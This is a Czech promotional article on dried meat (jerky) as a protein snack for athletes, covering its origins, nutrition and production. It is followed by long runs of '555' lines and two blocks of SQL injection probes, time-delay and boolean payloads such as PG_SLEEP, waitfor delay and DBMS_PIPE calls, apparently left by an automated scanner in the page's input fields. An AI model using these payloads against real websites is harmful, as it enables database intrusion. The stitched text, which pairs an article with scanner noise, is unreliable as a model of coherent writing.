Všichni sportovci a vášniví návštěvníci fitness center zpozorněte! Jistě děláte všechno pro to, abyste každý fyzický výkon vyvážili odpovídajícím množstvím kvalitních živin, zejména bílkovin a kvalitních tuků. K tomu vám mohou sloužit proteinové tyčinky, smoothie nebo třeba sušené maso.
Sušené maso neboli jerky se k nám rozšířilo ze západu, avšak rozhodně se nejedná o nějakou horkou novinku, sušení je ke konzervaci potravin využíváno už tisíce let. Zatímco v našich podmínkách se suší hlavně ovoce, houby nebo třeba bylinky a trvanlivost masa se zvyšovala především uzením, v teplejších oblastech bylo sušení masa naprosto běžné – třeba mezi Indiány. My teď ale na rozdíl od nich nemusíme vyrazit na lov bizonů, abychom si sušené maso vychutnali.
Proč jíst sušené maso
Sušené maso se vyrábí z čerstvého libového masa z různých druhů zvířat, neobsahuje vodu, a tak vydrží opravdu dlouho, aniž by se zkazilo nebo změnilo své vlastnosti. Sušením zmenšuje svůj objem, takže nakonec vzniknou drobné tenké plátky, které zaberou jen málo místa, takže si je s sebou můžete vzít do posilovny, na kolo, na vodu nebo třeba na horolezecký výlet či vysokohorský trip. Na všech těchto místech ho skutečně oceníte – jedná se totiž o velmi kvalitní zdroj bílkovin, kterých je v závislosti na druhu v mase zhruba 50 až 75 % celkového objemu, naproti tomu tuk zde nenajdete skoro žádný. Jerky vám rychle dodá energii a je skvělým jídlem na cesty, protože nevyžaduje žádnou přípravu, prostě jen načnete sáček a hodujete.
Jak se jerky vyrábí
Průmyslově vyráběné sušené maso vzniká z vybraného čerstvého hovězího, vepřového, krůtího či jiného masa. Maso se nakrájí na tenké plátky, naloží do marinády a potom se suší při 70 až 80 % - a to je vše! Kvalitní sušené mas neobsahuje lepek ani žádné konzervanty a barviva, nic z toho totiž není potřeba. Sušením se maso zakonzervuje přiirozeně a přidává se už jenom koření pro zlepšení chuti. Sušené maso není třeba uchovávat v lednici, můžete je mít vždy schované v batohu pro případ, že byste se potřebovali posilnit.
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@kAJqg
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ry0Xd8g1')) OR 280=(SELECT 280 FROM PG_SLEEP(15))--
yYhqdOpB') OR 297=(SELECT 297 FROM PG_SLEEP(15))--
aJvNwzME' OR 212=(SELECT 212 FROM PG_SLEEP(15))--
-1)) OR 307=(SELECT 307 FROM PG_SLEEP(15))--
-5) OR 164=(SELECT 164 FROM PG_SLEEP(15))--
-5 OR 31=(SELECT 31 FROM PG_SLEEP(15))--
0apYlg76'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+270-270) --
-1" OR 3*2<(0+5+270-270) --
-1" OR 3+270-270-1=0+0+0+1 --
-1" OR 2+270-270-1=0+0+0+1 --
-1' OR 3*2>(0+5+315-315) or 'k7EA2aDZ'='
-1' OR 3*2<(0+5+315-315) or 'k7EA2aDZ'='
-1' OR 3+315-315-1=0+0+0+1 or 'k7EA2aDZ'='
-1' OR 2+315-315-1=0+0+0+1 or 'k7EA2aDZ'='
-1' OR 3*2>(0+5+131-131) --
-1' OR 3*2<(0+5+131-131) --
-1' OR 3+131-131-1=0+0+0+1 --
-1' OR 2+131-131-1=0+0+0+1 --
-1 OR 3*2>(0+5+894-894)
-1 OR 3*2<(0+5+894-894)
-1 OR 3+894-894-1=0+0+0+1
-1 OR 2+894-894-1=0+0+0+1
-1 OR 3*2>(0+5+121-121) --
-1 OR 3*2<(0+5+121-121) --
-1 OR 3+121-121-1=0+0+0+1 --
-1 OR 2+121-121-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@yNUXU
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
C3T9TvMs')) OR 718=(SELECT 718 FROM PG_SLEEP(15))--
rB27NZOX') OR 830=(SELECT 830 FROM PG_SLEEP(15))--
Rdpzu8Jx' OR 733=(SELECT 733 FROM PG_SLEEP(15))--
-1)) OR 899=(SELECT 899 FROM PG_SLEEP(15))--
-5) OR 199=(SELECT 199 FROM PG_SLEEP(15))--
-5 OR 977=(SELECT 977 FROM PG_SLEEP(15))--
bcWsRtym'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+742-742) --
-1" OR 3*2<(0+5+742-742) --
-1" OR 3+742-742-1=0+0+0+1 --
-1" OR 2+742-742-1=0+0+0+1 --
-1' OR 3*2>(0+5+704-704) or 't65Ijvu8'='
-1' OR 3*2<(0+5+704-704) or 't65Ijvu8'='
-1' OR 3+704-704-1=0+0+0+1 or 't65Ijvu8'='
-1' OR 2+704-704-1=0+0+0+1 or 't65Ijvu8'='
-1' OR 3*2>(0+5+290-290) --
-1' OR 3*2<(0+5+290-290) --
-1' OR 3+290-290-1=0+0+0+1 --
-1' OR 2+290-290-1=0+0+0+1 --
-1 OR 3*2>(0+5+810-810)
-1 OR 3*2<(0+5+810-810)
-1 OR 3+810-810-1=0+0+0+1
-1 OR 2+810-810-1=0+0+0+1
-1 OR 3*2>(0+5+774-774) --
-1 OR 3*2<(0+5+774-774) --
-1 OR 3+774-774-1=0+0+0+1 --
-1 OR 2+774-774-1=0+0+0+1 --
555
555
555
555
555